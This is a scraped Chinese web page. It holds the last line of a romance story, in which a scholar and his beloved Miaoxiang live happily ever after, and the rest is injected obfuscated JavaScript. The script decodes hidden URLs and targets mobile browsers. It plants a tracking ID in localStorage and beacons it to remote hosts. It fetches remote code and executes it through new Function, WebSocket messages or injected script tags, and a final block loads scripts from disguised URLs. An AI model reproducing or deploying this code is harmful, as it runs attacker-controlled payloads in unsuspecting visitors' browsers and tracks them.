  半路上,吴秀才恢复男装,妙香恢复女妆,从此逍遥自在,享不尽的恩恩爱爱﹗

  --------------------------------

关闭
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();